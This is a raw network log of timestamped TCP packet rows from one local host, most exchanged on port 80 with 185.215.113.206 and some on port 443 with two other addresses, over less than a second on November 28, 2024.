Nov 28, 2024 00:19:42.106772900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.106841087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.109281063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.109380960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.109401941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.109468937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.112828970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.112916946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.112963915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.113002062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.116305113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.116364956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.116413116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.116451979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.119870901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.119915962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.119930029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.119999886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.123291016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.123347998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.123363018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.123409033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.126815081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.126899958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.127027988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.127068996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.128456116 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.128534079 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.128670931 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.128731966 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.128752947 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.128766060 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.128772020 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.130309105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.130353928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.130672932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.130722046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.131597042 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.131644011 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.131702900 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.132196903 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.132224083 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.133811951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.133958101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.134001017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.137334108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.137382030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.137494087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.137535095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.140892029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.140949011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.140970945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.141041040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.144350052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.144396067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.240457058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.240530968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.240554094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.240596056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.241561890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.241616964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.241956949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.241998911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.242032051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.242069006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.242846966 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.242937088 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.243537903 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.244438887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.244451046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.244484901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.246468067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.246558905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.246577024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.246875048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.248733044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.248774052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.248791933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.248826981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.251010895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.251076937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.251091957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.251470089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.253165960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.253226995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.253283024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.253328085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.255358934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.255402088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.255522013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.255558014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.257529974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.257602930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.257647038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.257678032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.259788036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.259833097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.259932995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.260020971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.261812925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.261859894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.261991024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.262031078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.262787104 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.262814999 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.263005018 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.263010979 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.263952017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.264000893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.264060974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.264101982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.266062975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.266128063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.266191959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.266228914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.267307043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.267405987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.267416000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.267450094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.268573046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.268637896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.268673897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.268711090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.269810915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.269874096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.269984007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.270025969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.271071911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.271083117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.271117926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.272309065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.272353888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.272418022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.272452116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.273538113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.273597002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.273777008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.273813009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.274766922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.274864912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.274868011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.274903059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.276035070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.276086092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.276182890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.276217937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.277271032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.277348042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.277384996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.277435064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.278480053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.278482914 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.278527975 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.278537035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.278558969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.278583050 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.278605938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.279726982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.279763937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.279788971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.279869080 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.279880047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.279896021 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.280966997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.281008005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.281099081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.281145096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.282234907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.282279968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.282346010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.282388926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.283452034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.283489943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.283586025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.283776999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.284785986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.284797907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.284846067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.284847021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.285942078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.285988092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.286048889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.286081076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.287200928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.287244081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.287309885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.287516117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.288429976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.288474083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.288549900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.288590908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.289756060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.289796114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.289892912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.289947033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.290929079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.290971994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.291032076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.291075945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.292184114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.292243004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.292278051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.292342901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.293410063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.293469906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.293550014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.293584108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.294635057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.294683933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.294744968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.294806004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.295950890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.296097994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.296104908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.296138048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.297136068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.297178030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.297245979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.297275066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.298423052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.298434019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.298472881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.298626900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.299602032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.299751997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.299784899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.299818993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.300864935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.300919056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.301090002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.301184893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.302105904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.302150011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.302211046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.302247047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.303369999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.303414106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.303452015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.303493023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.304603100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.304646969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.304672003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.304706097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.305836916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.305880070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.305962086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.306037903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.307065964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.307102919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.307187080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.307229042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.308310986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.308386087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.308470011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.308506012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.309557915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.309602022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.309669971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.309708118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.310792923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.310849905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.310892105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.310930014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.312031984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.312069893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.312110901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.312144995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.313292980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.313338995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.313383102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.313452959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.314516068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.314558983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.314595938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.314804077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.315777063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.315813065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.359987020 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360018969 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360027075 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360038996 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360045910 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360053062 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360058069 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.360069990 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.360106945 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.360131979 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.368084908 CET	49846	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.368089914 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.368118048 CET	443	49846	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.368119955 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.368185043 CET	49846	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.368192911 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.368489027 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.368504047 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.369715929 CET	49846	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.369729996 CET	443	49846	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.428148985 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.428195953 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.428375959 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.428455114 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.428486109 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.428596020 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.428601027 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.428617001 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.428781986 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.428798914 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.451365948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.451383114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.451472998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.451978922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.452043056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.452138901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.453212023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.453229904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.453282118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.453326941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.454081059 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.454222918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.454303026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.454324961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.454411983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.454480886 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.454511881 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.454826117 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.455379009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.455558062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.455589056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.455672026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.455682039 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.455774069 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.456026077 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.456470966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.456584930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.456837893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.457591057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.457699060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.457720995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.458805084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.458926916 CET	49794	80	192.168.2.6	185.215.113.206
